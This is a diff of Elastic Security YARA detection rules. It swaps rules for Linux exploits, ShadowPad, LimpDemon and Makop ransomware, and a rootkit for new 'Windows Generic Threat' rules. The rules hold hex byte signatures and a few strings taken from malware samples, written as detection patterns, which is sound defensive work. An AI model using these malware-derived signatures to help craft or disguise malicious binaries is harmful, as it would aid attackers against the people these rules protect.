-		modified = "2021-09-16"
+		id = "2c80562d-2377-43b2-864f-0f122530b85d"
+		date = "2024-01-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d0f9cc114f6a1f788f36e359e03a9bbf89c075f41aec006229b6ad20ebbfba0b"
-		logic_hash = "222e929d8352ed02714a59b0e1b9777b0f2d80d63cb369fa9bf33460c84efbb2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L425-L445"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ee8decf1e8e5a927e3a6c10e88093bb4b7708c3fd542d98d43f1a882c6b0198e"
+		logic_hash = "07487ae646ac81b94f940c8d3493dbee023bce687297465fe09375f40dff0fb2"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "4ec419bfd0ac83da2f826ba4cbd6a4b05bbd7b6f6cc077529ec4667b7d2f761a"
-		severity = 100
+		fingerprint = "30965c0d6ac30cfb10674b2600e5a1e7b14380072738dd7993bd3eb57c825f24"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E8 63 F9 FF FF 83 7D D8 FF 75 14 BF 47 12 40 00 }
+		$a1 = { 50 6F 6C 79 6D 6F 64 58 54 2E 65 78 65 }
+		$a2 = { 50 6F 6C 79 6D 6F 64 58 54 20 76 31 2E 33 }
+		$a3 = { 50 6F 6C 79 6D 6F 64 20 49 6E 63 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_6A9B5D50 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_E96F9E97 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6a9b5d50-3cd4-4b64-9a52-713e1a8f02b2"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "e96f9e97-cb44-42e5-a06b-98775cbb1f2f"
+		date = "2024-01-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L181-L199"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "80ab71dc9ed2131b08b5b75b5a4a12719d499c6b6ee6819ad5a6626df4a1b862"
-		logic_hash = "99a18bfb62c195bdea89c688fed4456fee33477878ecdee8a78cd4bf18ad539b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L447-L465"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bfbab69e9fc517bc46ae88afd0603a498a4c77409e83466d05db2797234ea7fc"
+		logic_hash = "1dcf81b8982425ff74107b899e85e2432f0464554e923f85a7555cda65293b54"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "7eea1345492359984e9be089c3e7339b79927abcff0ae4a40a713e956bb25919"
-		severity = 100
+		fingerprint = "2277fb0b58f923d394f5d4049b6049e66f99aff4ac874849bdc1877b9c6a0d3e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E8 ?? F9 FF FF 83 7D D8 FF 75 14 BF ?? 13 40 00 }
+		$a1 = { 7A 47 4D 5E 5A 4D 5D 4B 7D 6D 4A 41 57 4B 54 49 5F 4C 67 6D 54 52 5B 51 46 43 6F 71 40 46 45 53 67 7C 5D 6F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_66557224 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_005Fd471 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "66557224-2c7a-4770-8333-8984d4a7b3f7"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "005fd471-d968-4ece-a61d-91beac4c1e34"
+		date = "2024-01-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L201-L219"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f58151a2f653972e744822cdc420ab1c2b8b642877d3dfa2e8b2b6915e8edf40"
-		logic_hash = "5583f086d594ebdf5890a8a5fbee5c04fbddfe42adcae07480532d87e474ef0c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L467-L487"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "502814ed565a923da15626d46fde8cc7fd422790e32b3cad973ed8ec8602b228"
+		logic_hash = "10493253a6b2ce3141ee980e0607bdbba72580bb4a076f2f4636e9665ffc6db8"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "88503c2e1e389866962704a8b19a47c22f758bb2cee9b76600e5d9bab125d4ca"
-		severity = 100
+		fingerprint = "30afbb04c257c20ccd2cff15f893715187b7e7b66a9c9f09d076d21466e25a57"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FF FF 83 BD E4 FB FF FF FF 75 1A 83 EC 0C 68 24 }
+		$a1 = { 5F 3F 44 4B 4B 66 25 37 2A 5E 70 42 70 }
+		$a2 = { 71 5A 3E 7D 6F 5D 6E 2D 74 48 5E 55 55 22 3C }
+		$a3 = { 3E 2D 21 47 45 6A 3C 33 23 47 5B 51 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_6229602F : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_54B0Ec47 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6229602f-1c88-46fa-8fae-a6268ed6d632"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "54b0ec47-79f3-4187-8253-805e7ad102ce"
+		date = "2024-01-03"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L221-L239"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4fdb15663a405f6fc4379aad9a5021040d7063b8bb82403bedb9578d45d428fa"
-		logic_hash = "c3ab6a36c0c2d430d576f7c0cfdc6d1affcd99d007e2d05596677da9bda5a19e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L489-L508"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9c14203069ff6003e7f408bed71e75394de7a6c1451266c59c5639360bf5718c"
+		logic_hash = "e3d74162a8874fe05042fec98d25b8db50e7f537566fd9f4e40f92bfe868259a"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "b26b21518fd436d79d6a23dbf3d7056b7c056e4df6639718e285de096476f61d"
-		severity = 100
+		fingerprint = "2c3890010aad3c2b54cba08a62b5af6a678849a6b823627bf9e26c8693a89c60"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C0 89 45 FC 83 7D FC 00 7D 17 68 ?? ?? 04 08 }
+		$a1 = { 2D 2D 2D 2D 3D 5F 25 73 5F 25 2E 33 75 5F 25 2E 34 75 5F 25 2E 38 58 2E 25 2E 38 58 }
+		$a2 = { 25 73 2C 20 25 75 20 25 73 20 25 75 20 25 2E 32 75 3A 25 2E 32 75 3A 25 2E 32 75 20 25 63 25 2E 32 75 25 2E 32 75 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2009_1897_6Cf0A073 : FILE MEMORY CVE_2009_1897
+rule ELASTIC_Windows_Generic_Threat_Acf6222B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2009 1897 (Linux.Exploit.CVE-2009-1897)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6cf0a073-571e-48ef-be58-807bff1a5e97"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "acf6222b-5859-4b18-a770-04f8fc7f48fd"
+		date = "2024-01-03"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2009_1897.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "85f371bf73ee6d8fcb6fa9a8a68b38c5e023151257fd549855c4c290cc340724"
-		logic_hash = "dcde454fda09cb6bc7b213b76d70eafd65d2601cfda70ff25c6940b55ce3adb6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L510-L528"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ce0def96be08193ab96817ce1279e8406746a76cfcf4bf44e394920d7acbcaa6"
+		logic_hash = "a284b6c163dbc022bd36f19fbc1d7ff70143bee566328ad23e7b8b79abd39e91"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2009-1897"
-		fingerprint = "8fcb3687d4ec5dd467d937787f0659448a91446f92a476ff7ba471a02d6b07a9"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "1046de07f9594a6352a33d892da1b4dc227fdf52a8caf38e8f1532076232c7fc"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 31 C0 85 DB 78 28 45 31 C9 41 89 D8 B9 02 00 00 00 BA 01 00 }
+		$a1 = { 83 7D 10 00 75 04 33 C0 5D C3 8B 4D 08 8B 55 0C FF 4D 10 74 0E 8A 01 84 C0 74 08 3A 02 75 04 41 42 EB ED 0F B6 01 0F B6 0A 2B C1 5D C3 55 8B EC 83 EC 24 56 57 8B 7D 08 33 F6 89 75 F8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Shadowpad_Be71209D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_5E718A0C : FILE MEMORY
 {
 	meta:
-		description = "Target ShadowPad loader"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "be71209d-b1c0-4922-87ae-47d0930d8755"
-		date = "2023-01-31"
-		modified = "2023-02-01"
-		reference = "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_ShadowPad.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05"
-		logic_hash = "24e035bbcd5d44877e6e582a995d0035ad26c53e832c34b0c8a3836cb1a11637"
+		id = "5e718a0c-3c46-46f7-adfd-b0c3c75b865f"
+		date = "2024-01-03"
+		modified = "2024-01-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L530-L548"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "430b9369b779208bd3976bd2adc3e63d3f71e5edfea30490e6e93040c1b3bac6"
+		logic_hash = "45068afeda7abae0fe922a21f8f768b6c74a6e0f8e9e8b1f68c3ddf92940bf9a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "629f1502ce9f429ba6d497b8f2b0b35e57ca928a764ee6f3cb43521bfa6b5af4"
-		threat_name = "Windows.Trojan.ShadowPad"
-		severity = 100
+		fingerprint = "b6f9b85f4438c3097b430495dee6ceef1a88bd5cece823656d9dd325e8d9d4a1"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}"
+		$a1 = { 44 3A 28 41 3B 3B 30 78 30 30 31 46 30 30 30 33 3B 3B 3B 42 41 29 28 41 3B 3B 30 78 30 30 31 30 30 30 30 33 3B 3B 3B 41 55 29 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Shadowpad_0D899241 : MEMORY
+rule ELASTIC_Windows_Generic_Threat_Fac6D993 : FILE MEMORY
 {
 	meta:
-		description = "Target ShadowPad payload"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0d899241-6ef8-4524-a728-4ed53e4d2cec"
-		date = "2023-01-31"
-		modified = "2023-02-01"
-		reference = "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_ShadowPad.yar#L23-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cb3a425565b854f7b892e6ebfb3734c92418c83cd590fc1ee9506bcf4d8e02ea"
-		logic_hash = "57385e149c6419aed2dcd3ecbbe26d8598918395a6480dd5cdb799ce7328901a"
+		id = "fac6d993-a9c5-4218-829d-d0f3a3b9a5a0"
+		date = "2024-01-03"
+		modified = "2024-01-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L550-L568"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e7c88e72cf0c1f4cbee588972fc1434065f7cc9bd95d52379bade1b8520278"
+		logic_hash = "3486793324dbe43c908432e1956bbbdb870beb4641da46b3786581fd3e78811a"
 		score = 75
-		quality = 25
-		tags = "MEMORY"
-		fingerprint = "7070eb3608c2c39804ccad4a05e4de12ec4eb47388589ef72c723b353b920a68"
-		threat_name = "Windows.Trojan.ShadowPad"
-		severity = 100
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "7502d32cf94496b73e476c7521b84a40426676b335a86bdf1bce7146934efcee"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "memory"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "hH#whH#w" fullword
-		$a2 = "Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv<Yuvb#tv1Yuv-8tv&Yuv" fullword
-		$a3 = "pH#wpH#w" fullword
-		$a4 = "HH#wHH#wA" fullword
-		$a5 = "xH#wxH#w:$" fullword
-		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
+		$a1 = { 83 E4 F8 81 EC 4C 04 00 00 53 8B D9 8B 4D 2C 33 C0 89 01 8B 4D 30 56 0F B6 B3 85 00 00 00 89 01 8B 4D 34 57 0F B6 BB 84 00 00 00 89 01 8B 4D 38 89 54 24 10 89 01 8D 44 24 48 50 FF 15 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Limpdemon_95C748E0 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_E7Eaa4Ca : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Limpdemon (Linux.Ransomware.LimpDemon)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "95c748e0-e2f5-4997-a69d-dbc8885e6f18"
-		date = "2023-07-27"
-		modified = "2024-02-13"
+		id = "e7eaa4ca-45ee-42ea-9604-d9d569eed0aa"
+		date = "2024-01-04"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_LimpDemon.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a4200e90a821a2f2eb3056872f06cf5b057be154dcc410274955b2aaca831651"
-		logic_hash = "e66906725c0af657d91771642908ac0b2c72a97c4d4f651dcc907c2c1437f2da"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L570-L587"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "600da0c88dc0606e05f60ecd3b9a90469eef8ac7a702ef800c833f7fd17eb13e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "20527c2e0d2e577c17da7184193ba372027cedb075f78bb75aff9d218c2d660b"
+		fingerprint = "ede23e801a67bc43178eea87a83eb0ef32a74d48476a8273a25a7732af6f22a6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "[-] You have to pass access key to start process" fullword
-		$a2 = "[+] Shutting down VMWare ESXi servers..." fullword
-		$a3 = "%s --daemon (start as a service)" fullword
-		$a4 = "%s --access-key <key> (key for decryption config)" fullword
+		$a = { C8 F7 C6 A8 13 F7 01 E9 2C 99 08 00 4C 03 D1 E9 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Makop_3Ac2C13C : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_97703189 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Makop (Windows.Ransomware.Makop)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "3ac2c13c-45f0-4108-81fb-e57c3cc0e622"
-		date = "2021-08-05"
-		modified = "2021-10-04"
+		id = "97703189-bcac-4b6c-b0d4-9167f5e8085d"
+		date = "2024-01-04"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Makop.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "854226fc4f5388d40cd9e7312797dd63739444d69a67e4126ef60817fa6972ad"
-		logic_hash = "3fa7c506010a87ac97f415db32c21af091dff26fd912a8f9f5bb5e8d43a8da9e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L589-L607"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "968ba3112c54f3437b9abb6137f633d919d75137d790af074df40a346891cfb5"
+		logic_hash = "318bc82d49e9a3467ec0e0086aaf1092d2aa7c589b5f16ce6fbb3778eda7ef0b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4658a5b34ecb2a7432b7ab48041cc064d917b88a4673f21aa6c3c44b115c9b8c"
-		severity = 100
+		fingerprint = "9126c3aeaa4ed136424c20aa8e7a487131adc1ae22eb8ab4f514b4687855816f"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 20 00 75 15 8B 44 24 10 8B 4C 24 08 8B 54 24 0C 89 46 20 89 }
+		$a1 = { 55 8B EC 5D E9 2A 1C 00 00 8B FF 55 8B EC 8B 45 08 56 8B F1 C6 46 0C 00 85 C0 75 63 E8 6F 29 00 00 89 46 08 8B 48 6C 89 0E 8B 48 68 89 4E 04 8B 0E 3B 0D 98 06 49 00 74 12 8B 0D B4 05 49 00 85 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Makop_3E388338 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Ca0686E1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Makop (Windows.Ransomware.Makop)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "3e388338-83c7-453c-b865-13f3bd059515"
-		date = "2021-08-05"
-		modified = "2021-10-04"
+		id = "ca0686e1-001f-44d2-ae2f-51c473769723"
+		date = "2024-01-05"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Makop.yar#L21-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "854226fc4f5388d40cd9e7312797dd63739444d69a67e4126ef60817fa6972ad"
-		logic_hash = "5a6e5fd725f3d042c0c95b42ad00c93965a49aa6bda6ec5383a239f18d74742e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L609-L627"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "15c7ce1bc55549efc86dea74a90f42fb4665fe15b14f760037897c772159a5b5"
+		logic_hash = "12b2ff66d1be6e2d27f24489b389b5c84660921e8de41653b2b425077cc87669"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7920469120a69fed191c5068739ed922dcf67aa26d68e44708a1d63dc0931bc3"
-		severity = 100
+		fingerprint = "4663eefedb6f3f502adfb4f64278d1c535ba3a719d007a280e9943914121cd81"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "MPR.dll" ascii fullword
-		$a2 = "\"%s\" n%u" wide fullword
-		$a3 = "\\\\.\\%c:" wide fullword
-		$a4 = "%s\\%s\\%s" wide fullword
-		$a5 = "%s\\%s" wide fullword
-		$a6 = "Start folder" wide fullword
+		$a1 = { 55 8B EC 51 53 8B 5D 08 56 57 8B F9 8B 77 10 8B C6 2B C3 89 75 FC 3B 45 0C 72 03 8B 45 0C 83 7F 14 10 72 02 8B 0F 8D 14 19 2B F0 8B CE 03 C2 2B CB 41 51 50 52 E8 62 1A 00 00 83 C4 0C 8B CF 56 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Rootkit_Dakkatoni_010D3Ac2 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_97C1A260 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Rootkit Dakkatoni (Linux.Rootkit.Dakkatoni)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "010d3ac2-0bb2-4966-bf5f-fd040ba07311"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "97c1a260-9b43-458e-a9ac-2391aee1bcb8"
+		date = "2024-01-07"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Rootkit_Dakkatoni.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "38b2d033eb5ce87faa4faa7fcac943d9373e432e0d45e741a0c01d714ee9d4d3"
-		logic_hash = "51119321f29aed695e09da22d3234eae96db93e8029d4525d018e56c7131f7b8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L629-L647"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2cc85ebb1ef07948b1ddf1a793809b76ee61d78c07b8bf6e702c9b17346a20f1"
+		logic_hash = "5bd84cbdd4ba699c9e9d87e684071342b23138538bd83ffea8c524fcee26a59b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2c7935079dc971d2b8a64c512ad677e946ff45f7f1d1b62c3ca011ebde82f13b"
-		severity = 100
+		fingerprint = "9cd93a8def2d2fac61a5b37d82b97c18ce8bf3410aa6ec7531ec28378f5c98cc"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C8 C1 E0 0D 31 C1 89 CE 83 E6 03 83 C6 05 89 C8 31 D2 C1 }
+		$a1 = { 55 8B EC 51 53 56 57 E8 14 31 00 00 8B F0 85 F6 0F 84 39 01 00 00 8B 16 33 DB 8B CA 8D 82 90 00 00 00 3B D0 74 0E 8B 7D 08 39 39 74 09 83 C1 0C 3B C8 75 F5 8B CB 85 C9 0F 84 11 01 00 00 8B 79 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Echodrv_D17Ff31C : FILE
+rule ELASTIC_Windows_Generic_Threat_A440F624 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Echodrv (Windows.VulnDriver.EchoDrv)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "d17ff31c-59d1-4bea-be25-c6f7fe2b8c7b"
-		date = "2023-10-31"
-		modified = "2023-11-03"
+		id = "a440f624-c7ec-4f26-bfb5-982bae5f6887"
+		date = "2024-01-07"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_EchoDrv.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ea3c5569405ed02ec24298534a983bcb5de113c18bc3fd01a4dd0b5839cd17b9"
-		logic_hash = "0b2eb3c5da8703749ee63662495d6e8738ccdc353f3ac3df48e25a77312c0da0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L649-L668"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3564fec3d47dfafc7e9c662654865aed74aedeac7371af8a77e573ea92cbd072"
+		logic_hash = "23c759a0db5698b28a69232077a6b714f71e8eaa069d2f02a7d3efc48b178a2b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "dcf828c8db88580faeaa78f4bcda5a01ff4e710cb3e1e0912a99665831a070b4"
-		severity = 100
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "0f538f8f4eb2e71fb74d8305a179fc2ad880ab5a4cfd37bd35b5da2629ed892c"
+		severity = 50
 		arch_context = "x86"
